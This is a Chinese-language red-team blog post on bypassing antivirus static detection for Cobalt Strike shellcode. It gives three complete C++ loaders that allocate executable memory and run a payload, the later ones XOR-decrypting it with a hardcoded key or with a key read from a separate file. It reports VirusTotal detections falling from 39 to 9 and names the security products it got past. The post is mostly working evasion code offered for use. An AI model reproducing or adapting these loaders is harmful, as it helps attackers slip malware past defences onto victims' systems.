【Antivirus bypass】静态-异或免杀CobaltStrike-Shellcode
杀软
在之前的很多红蓝项目中,总是难免遇到杀软,但苦于对免杀了解得不多,都导致没有很顺畅的开展。既然“域ADCS-ESC配置错误”已经完结了,索性开始研究研究免杀。
在现如今的杀软中,对于病毒木马识别,无非就是静态特征识别、动态特征识别、启发式识别。
静态特征识别(Static Signature Detection):
定义: 静态特征识别是一种基于文件的检测方法,通过分析文件的静态属性,如文件的哈希值、文件大小、文件类型、文件结构等,来确定文件是否包含已知的病毒或恶意代码。
工作原理: 杀毒软件使用病毒数据库中的病毒特征签名(或哈希值)来比对文件,如果文件的特征与已知病毒特征匹配,那么该文件被标记为恶意。
动态特征识别(Dynamic Behavioral Detection):
定义: 动态特征识别是一种基于程序运行时行为的检测方法,它关注软件在执行过程中的行为,以识别是否存在恶意活动。
工作原理: 杀毒软件监视程序的执行,分析其行为,如文件的读写、网络通信、系统调用等。如果程序表现出与恶意软件相似的行为模式,就可能被标记为潜在的威胁。
启发式识别(Heuristic Detection):
定义: 启发式识别是一种基于启发式规则的检测方法,它不依赖于已知的病毒特征,而是通过分析文件或程序的行为和特征,识别可能的威胁。
工作原理: 杀毒软件使用启发式算法来评估文件或程序的潜在威胁程度,而不是仅仅依赖已知的病毒签名。这样可以检测那些尚未被明确定义为病毒的新威胁。
静态bypass shellcode异或加密
通常在使用c2的时候,都会生成对应的shellcode,然后再通过各种方法将shellcode加载进内存中运行。但是各种c2的shellcode的特征都被各大杀软厂商盯得死死的,导致携带shellcode的程序无法正常落地。
对于这种静态特征识别,通过加密、混淆、加壳、二次编译等手段还是能够有效的进行bypass的。本次就先试试通过异或加密shellcode进行bypass。
首先通过cs生成一个shellcode:
再通过简单的shellcode加载器代码,将shellcode植入进内存运行:
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
unsigned char data[] = "shellcode";
int main(void) {
void* exec = VirtualAlloc(0, sizeof data, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, data, sizeof data);
((void(*)())exec)();
return 0;
}
可以很直接看到ShellCodeLoad.exe刚一生成就被某绒发现:
将生产的木马程序上传至virus,直接被39个厂商识别为病毒文件:
对shellcode进行异或加密看看是怎么个情况,可以看到virus数量虽然有减少,但是仍然被25家厂商检测为病毒文件:
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
//异或后的shellcode
unsigned char data[] =
"shellcode";
//异或逻辑
void xorOperation(unsigned char* data, const unsigned char* key, size_t dataLength, size_t keyLength) {
for (size_t i = 0; i < dataLength; ++i) {
data[i] ^= key[i % keyLength];
}
}
int main(void) {
//异或使用的密码
unsigned char key2[] = "T0ngMystic";
// 计算数据数组和密钥数组的长度
size_t dataLength = sizeof(data) - 1; // 减去字符串结束符
size_t keyLength = strlen(reinterpret_cast<const char*>(key2)); // 使用 strlen 获取字符串长度
// 执行加密操作
xorOperation(data, key2, dataLength, keyLength);
void* exec = VirtualAlloc(0, sizeof data, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, data, sizeof data);
((void(*)())exec)();
return 0;
}
某绒同样也检测为病毒文件:
现在已经对shellcode进行了异或处理了,按道理杀软已经无法直接对shellcode标记为病毒了,那么是不是杀软对程序进行了动态识别,使用了沙箱检测过程中是否产生了病毒特征(我的猜测),那么既然如此,现在能想到的就是shellcode与加载器分离,但是网上shellcode分离已经挺多的了,我这里分离异或使用的key吧(自行将异或使用的key放至password.txt文件中):
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
//异或后的shellcode
unsigned char data[] ="shellcode";
void xorOperation(unsigned char* data, const unsigned char* key, size_t dataLength, size_t keyLength) {
for (size_t i = 0; i < dataLength; ++i) {
data[i] ^= key[i % keyLength];
}
}
int main(void) {
std::string filePath = "password.txt";
// 打开文件
std::ifstream inputFile(filePath);
// 检查文件是否成功打开
if (!inputFile.is_open()) {
std::cerr << "无法打开文件: " << filePath << std::endl;
return 1;
}
// 用于存储密码的容器
std::vector<std::string> key1;
// 读取文件内容
std::string password;
while (std::getline(inputFile, password)) {
// 将每一行的密码保存到容器中
key1.push_back(password);
}
// 关闭文件
inputFile.close();
// 打印读取的密码
std::cout << "读取的密码:" << std::endl;
for (const auto& password : key1) {
std::cout << password << std::endl;
}
std::string inputString = password;
const char* cString = inputString.c_str();
size_t length = inputString.length();
// 创建并复制到 unsigned char 数组
unsigned char* key2 = new unsigned char[length + 1]; // +1 用于 null 结尾符
std::copy(cString, cString + length + 1, key2);
// 打印结果
std::cout << "转换后的 unsigned char 数组: " << key2 << std::endl;
// 计算数据数组和密钥数组的长度
size_t dataLength = sizeof(data) - 1; // 减去字符串结束符
size_t keyLength = strlen(reinterpret_cast<const char*>(key2)); // 使用 strlen 获取字符串长度
// 执行加密操作
xorOperation(data, key2, dataLength, keyLength);
// 显示加密结果
std::cout << "加密后: ";
for (size_t i = 0; i < dataLength; ++i) {
// 以字符形式打印每个字节
std::cout << "\\x" << std::hex << static_cast<int>(data[i]);
}
std::cout << std::endl;
void* exec = VirtualAlloc(0, sizeof data, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, data, sizeof data);
((void(*)())exec)();
return 0;
}
经过shellcode异或加密和将异或所使用的key进行分离,可以在Virus上明显看到能够识别的厂商大量减少,从最初的39降到了9:
可以看到某步识别该程序为安全:
成功bypass某绒:
成功bypass某数字杀软:
成功bypass某安信的某擎: